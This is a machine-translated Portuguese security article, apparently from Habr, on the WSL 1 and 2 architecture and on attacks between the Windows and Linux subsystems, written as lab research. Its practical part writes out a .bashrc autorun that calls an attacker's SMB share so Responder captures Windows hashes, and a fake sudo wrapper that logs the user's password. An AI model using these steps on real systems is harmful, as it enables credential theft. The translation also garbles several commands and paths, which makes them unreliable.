Experimentos WSL. Parte 1

Olá, habr! OTUS lança um novo fluxo de curso em outubro "Segurança Linux». Antecipando o início do curso, compartilhamos com vocês um artigo escrito por um de nossos professores, Alexander Kolesnikov.

Experimentos WSL. Parte 1

Em 2016, a Microsoft apresentou a nova tecnologia WSL à comunidade de TI (Wdentro Ssubsistema para Linux), o que, a longo prazo, permitiu a unificação de concorrentes anteriormente irreconciliáveis ​​que lutavam pela popularidade entre usuários comuns e avançados de sistemas operacionais: Windows и LinuxEssa tecnologia possibilitou o uso de ferramentas do sistema operacional. Linux в окружении Windows sem a necessidade de lançamento LinuxPor exemplo, usando inicialização múltipla. No Habr, você pode encontrar inúmeros artigos descrevendo os benefícios do uso do WSL. No entanto, infelizmente, até o momento da redação deste texto, não foram encontrados estudos sobre a segurança dessa simbiose de sistemas operacionais nessa plataforma. Este artigo busca corrigir essa lacuna. Nele, discutiremos as características das arquiteturas WSL 1 e 2 e analisaremos diversos exemplos de ataques a sistemas que utilizam essas tecnologias. O artigo está dividido em duas partes. A primeira apresentará os principais métodos teóricos de ataque. Linux и WindowsO segundo artigo abordará a configuração de um ambiente de teste e a reprodução de ataques.

WSL 1: características arquitetônicas

Para compreender plenamente as questões de segurança do WSL, é necessário identificar as principais nuances associadas à implementação do subsistema. Uma das principais necessidades do usuário atendidas pelo WSL é a habilitação do acesso ao terminal. Linux sistemas no host com SO WindowsAlém disso, a compatibilidade oferecida era tão nativa que os arquivos executáveis... Linux (ELF) poderia ser lançado diretamente no sistema. WindowsPara alcançar esses objetivos em Windows 10 Foi criado um subsistema especial que permite o lançamento de aplicativos. Linux utilizando um conjunto específico de chamadas de sistema - portanto, foi feita uma tentativa de mapear um conjunto de chamadas de sistema. Linux em WindowsFisicamente, isso foi implementado adicionando novos drivers e um novo formato de processo. Visualmente, a arquitetura era assim:

Experimentos WSL. Parte 1

Basicamente, interação com o sistema operacional. Linux foi organizado usando vários módulos do kernel e um tipo especial de processo — pico. O diagrama acima mostra o processo em execução na instância. Linux No host, deve ser nativo e deve usar os mesmos recursos que os aplicativos regulares. WindowsMas como isso pode ser alcançado? No projeto Ponte levadiça Os conceitos de processo foram desenvolvidos para Windows, que fornecia todos os componentes necessários do sistema operacional (dependendo da versão) para executar um aplicativo de outro sistema operacional.

Note que a abstração proposta tornou possível não depender do sistema operacional (em particular, Windows), que espera que outro processo do sistema operacional seja iniciado, e propôs uma abordagem geral.

Assim, qualquer aplicação dentro do processo pico poderia ser executada independentemente do kernel. Windows:

  1. Problemas de compatibilidade e tradução de chamadas de sistema devem ser resolvidos por provedores especiais;
  2. O controle de acesso deve ser implementado por meio do Monitor de Segurança. O monitor está localizado no kernel e, portanto, Windows Era necessária uma atualização na forma de um novo driver que pudesse atuar como provedor para tais processos. O protótipo do processo pico é mostrado esquematicamente abaixo:

Experimentos WSL. Parte 1

Porque o sistema de arquivos Linux Utiliza nomes de arquivos e diretórios que diferenciam maiúsculas de minúsculas, Windows Foram adicionados dois tipos de sistema de arquivos para uso com o WSL: VolFS e DriveFS. VolFS é uma implementação de sistema de arquivos. LinuxO DriveFS é um sistema de arquivos que funciona de acordo com as regras. Windows, mas oferece a opção de selecionar a distinção entre maiúsculas e minúsculas nos nomes.

WSL 2

O WSL 1 tinha uma série de limitações que o impediam de ser usado para resolver a mais ampla gama de tarefas: por exemplo, não tinha a capacidade de executar sistemas de 32 bits. Linux Os aplicativos não podiam usar drivers de dispositivo. Portanto, em 2020, foi lançado o WSL 2, que mudou a abordagem para a construção do subsistema. O WSL 2 é uma máquina virtual otimizada que corresponde às características de consumo de recursos do WSL 1. Agora, dependendo dos problemas que o usuário está resolvendo, o sistema operacional WindowsVocê pode selecionar a versão necessária do subsistema para trabalhar com ele. LinuxPara mitigar possíveis vulnerabilidades, o WSL 2 foi implementado com base no Hyper-V. Windows 10Neste formulário Windows tem a capacidade de executar o kernel do sistema operacional de forma isolada. LinuxVale lembrar que a versão 1 do WSL foi introduzida como um recurso beta destinado a mostrar a direção do desenvolvimento. Windows Nessa área, a transição para o Hyper-V era inevitável. A arquitetura final ficou assim:

Experimentos WSL. Parte 1

Nesta versão, os kernels do sistema Windows и Linux Cada um possui seus próprios recursos e as sobreposições ocorrem apenas dentro do sistema de arquivos, mas essa sobreposição está longe de ser completa. A interação entre os sistemas de arquivos é realizada por meio de um wrapper cliente-servidor que opera no protocolo 9P.

Hoje a Microsoft oferece a capacidade de alternar entre WSL 1 e WSL 2. Ambas as versões estão disponíveis para uso.

Segurança WSL

No momento, existem vários trabalhos que descrevem algumas abordagens para o uso de ferramentas legítimas de SO para atacar a comunicação entre subsistemas. Usaremos seus scripts para verificar a relevância dos ataques no momento da redação. Lista geral de ataques e cenários:

1. Implementação do sistema de arquivos: direitos de acesso, disponibilidade de diretórios compartilhados/mecanismos de troca de dados.

Pesquisa foi conduzida para determinar violações das regras de acesso de Linux FS->Windows FS, Windows FS->Linux FS. A pesquisa demonstrou a capacidade de modificar um determinado arquivo no sistema operacional de destino. Também foram feitas tentativas de substituir, criar duplicatas e excluir parte dos sistemas de arquivos.

Cenário:

  • A. Ataque do sistema operacional Windows — modificação de arquivos do diretório /etc do sistema operacional Linux.
  • B. Ataque do sistema operacional Linux — modificação de arquivos em diretórios: C:Windows, C:Program Files, C:Users<User>

2. Implementação da pilha de rede.

A pesquisa foi conduzida utilizando exemplos de ataques provenientes do sistema operacional. Linux em WindowsForam exploradas as funcionalidades operacionais da pilha de rede, especificamente seus mecanismos de autenticação para diversos recursos.

Cenário:

  • Abrir o acesso a uma porta que está ocupada no sistema. Windows
  • Abrindo uma porta sem os direitos apropriados
  • Executar um shell reverso usando um arquivo ELF em um sistema operacional. Windows.

3. Ocultar o lançamento de processos de software malicioso usando o subsistema WSL.

A pesquisa foi baseada em um fato simples: os subsistemas de segurança não podem interceptar eventos em outro kernel que funcione usando um provedor legítimo do sistema operacional no caso do WSL 1. No caso do WSL 2, não há como visualizar os eventos que ocorrem em um kernel separado dentro de uma máquina virtual leve.

Cenário:

1) Inicie o aplicativo para acesso remoto ao sistema e visualize os eventos registrados.

Experimentos WSL 1: Sequestro de Hash (SO) Windows)

Finalmente chegamos à parte prática. Primeiro, precisamos configurar o ambiente de testes. Todos os experimentos serão conduzidos em uma bancada de testes com Windows 10 2004. A imagem do sistema operacional escolhida para o WSL foi Ubuntu 18.04 de abril. A imagem foi escolhida aleatoriamente, mas qualquer outra funcionará igualmente bem. Comandos para configurar o suporte:

Você deve primeiro lançar powershell.exe como administrador.

Para WSL 1 você precisa executar os comandos:

  1. Habilitar-WindowsRecurso opcional -Online -Nome do recurso Microsoft-Windows-Subsistema-Linux #Ativar recurso WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-Arquivo de saída ~/Ubuntu.appx -UseBasicParsing #Carregar imagem Linux da Microsoft Store

  • Ubuntu.appx install --root #Instala a imagem
  • Talvez seja necessário passar pelo processo de configuração e criar um novo usuário com menos direitos que o root. Para nossos testes, este será o usuário comum sam.
  • Reiniciar-Computador #Reinicializar
  • Após reiniciar o sistema, você pode executar o comando bash. Se tudo funcionou corretamente, você verá uma saída semelhante a esta no console. Windows:

    Experimentos WSL. Parte 1

    Usaremos a distribuição Kali como máquina do atacante. LinuxTodas as máquinas devem estar na mesma rede local.

    Vamos supor que temos acesso sem privilégios ao WSL na máquina. WindowsVamos tentar atacar o sistema operacional. Linux, chamando o comando de LinuxPara implementar o ataque, usaremos uma técnica simples de execução automática — adicionaremos nosso script ao ambiente. LinuxPara fazer isso, você precisa alterar o arquivo. .bashrc.

    Em uma máquina com WSL executamos:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Por Kali car Linux nós executamos:

    1. Responder -I eth0 -rdvw

    De carro Windows Vamos executar o bash.

    Estamos aguardando os resultados na máquina Kali. Linux:

    Experimentos WSL. Parte 1

    Então, obtivemos os hashes dos usuários. Windows por meio do subsistema WSL, executando um comando no sistema. Linux.

    Experimentos com WSL 1: Obtendo a senha do usuário (SO) Linux)

    Vamos fazer mais uma experiência. Durante esta verificação, adicionaremos ao arquivo .bashrc Existem vários comandos para obter a senha do usuário do sistema operacional. Linux.

    Vamos iniciar o bash e inserir os comandos:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Para que o ataque seja bem-sucedido, o usuário Sam deve executar o comando sudo no terminal. LinuxDepois disso, a senha do usuário do sistema operacional. Linux estará no arquivo pass.txt:

    Experimentos WSL. Parte 1

    A implementação dos ataques foi dada apenas para informação teórica.

    A próxima parte do artigo descreverá a implementação do protocolo 9P, considerará a criação de um scanner para este protocolo e também realizará um ataque utilizando-o.

    Lista de literatura usada

    Experimentos WSL. Parte 1

    Consulte Mais informação

    Fonte: habr.com

    Compre hospedagem confiável para sites com proteção DDoS, servidores VPS VDS 🔥 Compre hospedagem de sites confiável com proteção contra DDoS, servidores VPS/VDS | ProHoster